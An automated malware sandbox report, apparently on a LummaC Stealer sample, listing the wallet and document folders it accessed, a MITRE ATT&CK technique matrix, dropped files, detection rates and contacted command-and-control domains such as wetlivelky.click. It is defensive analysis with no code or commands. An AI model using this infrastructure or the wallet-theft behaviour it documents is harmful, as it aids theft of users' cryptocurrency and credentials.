Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	111 Masquerading	2 OS Credential Dumping	421 Security Software Discovery	Remote Services	11 Input Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	21 Virtualization/Sandbox Evasion	11 Input Capture	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	31 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 System Owner/User Discovery	Distributed Component Object Model	1 Clipboard Data	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	13 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	225 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
FloydMounts.exe	25%	Virustotal		Browse
FloydMounts.exe	18%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\174436\Produces.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Freight	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-7TFI6.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-7TFI6.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-HQ019.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-HQ019.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
https://klipjarifaa.shop/int_clp_prof.txt	0%	Avira URL Cloud	safe
http://www.cyberotecnica.net)	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclDateTime	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclSysUtils	0%	Avira URL Cloud	safe
http://version.zipgenius.it	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/sevenzip.p	0%	Avira URL Cloud	safe
http://crl.usertr	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclAppInst	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclBase.pas	0%	Avira URL Cloud	safe
http://www.drbob42.com	0%	Avira URL Cloud	safe
https://wetlivelky.click/api	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclMath.pas	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclWin32.p	0%	Avira URL Cloud	safe
http://skin.zipgenius.itopenU	0%	Avira URL Cloud	safe
http://skin.zipgenius.it	0%	Avira URL Cloud	safe
http://volftp.tiscali.it)	0%	Avira URL Cloud	safe
http://help.zipgenius.it/	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/Jcl8087.pas	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclAnsiStri	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/bzip2.pas	0%	Avira URL Cloud	safe
http://antivirus.zipgenius.it	0%	Avira URL Cloud	safe
http://italian.wunderground.com/global/stations/16422.html	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclSynch.pa	0%	Avira URL Cloud	safe
http://members.home.nl/rtimmermans/	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclCharsets	0%	Avira URL Cloud	safe
http://www.zipgenius.it/	0%	Avira URL Cloud	safe
http://pcpro.mondadori.com)	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclRTTI.pas	0%	Avira URL Cloud	safe
http://italian.wunderground.com/global/stations/16422.htmlopenhttp://italian.wunderground.com/global	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclStreams.	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclStringCo	0%	Avira URL Cloud	safe
http://help.zipgenius.com/	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclIniFiles	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclRegistr	0%	Avira URL Cloud	safe
http://www.wininizio.it	0%	Avira URL Cloud	safe
http://www.zipgenius.it/zg5/addon/HiColSFX.exeopenU	0%	Avira URL Cloud	safe
http://help.zipgenius.it	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclUnitVers	0%	Avira URL Cloud	safe
http://www.ilsoftware.it)	0%	Avira URL Cloud	safe
http://faq.zipgenius.it/	0%	Avira URL Cloud	safe
http://api.qrtag.net/qrcode/240/	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclWideStri	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/Snmp.pas	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclUnicode.	0%	Avira URL Cloud	safe
http://www.zipgenius.it	0%	Avira URL Cloud	safe
http://www.zipgenius.it/U	0%	Avira URL Cloud	safe
http://www.virusportal.com/com/virusinfo/encyclopedia/results.aspx?term=	0%	Avira URL Cloud	safe
http://www.programmiamo.net)	0%	Avira URL Cloud	safe
http://www.7-zip.org)	0%	Avira URL Cloud	safe
http://www.snapfiles.com)	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclSimpleXm	0%	Avira URL Cloud	safe
http://www.zipgenius.it/zg5/external_app.htmopenU	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclResource	0%	Avira URL Cloud	safe
http://antivirus.zipgenius.itopenU	0%	Avira URL Cloud	safe
http://www.quickzip.org	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclSecurit	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclCompress	0%	Avira URL Cloud	safe
http://www.reggiocal.it	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclSysInfo.	0%	Avira URL Cloud	safe
http://www.winmagazine.it)	0%	Avira URL Cloud	safe
http://forum.zipgenius.itopenU	0%	Avira URL Cloud	safe
http://forum.wininizio.it	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclMime.pas	0%	Avira URL Cloud	safe
http://www.zipgenius.itopenU	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclShell.p	0%	Avira URL Cloud	safe
http://www.zipgenius.com/index.php?id=94	0%	Avira URL Cloud	safe
http://help.zipgenius.itU	0%	Avira URL Cloud	safe
http://www.zipgenius.it/zg5/external_app.htm	0%	Avira URL Cloud	safe
http://faq.zipgenius.com/	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/zlibh.pas	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclFileUtil	0%	Avira URL Cloud	safe
http://downloads.zipgenius.it	0%	Avira URL Cloud	safe
http://help.zipgenius.com	0%	Avira URL Cloud	safe
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclLogic.pa	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
klipjarifaa.shop	104.21.74.235	true	false	unknown
wetlivelky.click	104.21.25.41	true	true	unknown
cCOKcDhDNH.cCOKcDhDNH	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://klipjarifaa.shop/int_clp_prof.txt	false	Avira URL Cloud: safe	unknown
https://wetlivelky.click/api	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclDateTime	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	X4PCDQPDT1B8IDPB7SN83.exe, 00000011.00000000.2547757785.00000000002C1000.00000020.00000001.01000000.00000008.sdmp	false		high
http://www.cyberotecnica.net)	ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.vmware.com/0	ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	false		high
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/sevenzip.p	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.drbob42.com	ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclSysUtils	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://crl.usertr	X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclBase.pas	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclAppInst	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.google.com/search?sourceid=ZG6&q=%22	is-PGV92.tmp.20.dr	false		high
http://version.zipgenius.it	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/Jcl8087.pas	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://skin.zipgenius.itopenU	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://www.remobjects.com/ps	X4PCDQPDT1B8IDPB7SN83.exe, 00000011.00000003.2560003095.000000007EFCB000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.exe, 00000011.00000003.2552320717.0000000002C2F000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000000.2561740283.0000000000471000.00000020.00000001.01000000.00000009.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000000.2575985053.00000000008CD000.00000020.00000001.01000000.0000000B.sdmp	false		high
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclWin32.p	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclMath.pas	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://www.innosetup.com/	X4PCDQPDT1B8IDPB7SN83.exe, 00000011.00000003.2560003095.000000007EFCB000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.exe, 00000011.00000003.2552320717.0000000002C2F000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000000.2561740283.0000000000471000.00000020.00000001.01000000.00000009.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000000.2575985053.00000000008CD000.00000020.00000001.01000000.0000000B.sdmp	false		high
http://skin.zipgenius.it	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclAnsiStri	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://help.zipgenius.it/	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://volftp.tiscali.it)	ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.certum.pl/CPS0	X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	false		high
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/bzip2.pas	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://antivirus.zipgenius.it	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://italian.wunderground.com/global/stations/16422.html	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclSynch.pa	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://pcpro.mondadori.com)	ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.zipgenius.it/	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://crl.certum.pl/ctnca.crl0k	X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.7-zip.org	ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	false		high
http://members.home.nl/rtimmermans/	ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/X	Produces.com, 0000000B.00000000.1689779944.0000000000285000.00000002.00000001.01000000.00000007.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	FloydMounts.exe	false		high
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclCharsets	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	false		high
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclRTTI.pas	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://italian.wunderground.com/global/stations/16422.htmlopenhttp://italian.wunderground.com/global	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclStringCo	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	false		high
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclStreams.	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.info-zip.org/	ulu_mon.exe, 0000002F.00000002.3162136925.0000000005DBE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://help.zipgenius.com/	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclIniFiles	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclRegistr	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.wininizio.it	ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://help.zipgenius.it	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.zipgenius.it/zg5/addon/HiColSFX.exeopenU	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.ilsoftware.it)	ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclUnitVers	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://repository.certum.pl/cscasha2.cer0	X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp, FloydMounts.exe	false		high
http://faq.zipgenius.it/	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclUnicode.	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://api.qrtag.net/qrcode/240/	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclWideStri	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/Snmp.pas	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.zipgenius.it	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.zipgenius.it/U	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.virusportal.com/com/virusinfo/encyclopedia/results.aspx?term=	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.programmiamo.net)	ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/Sectig	X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	false		high
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclSimpleXm	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://subca.ocsp-certum.com01	X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	false		high
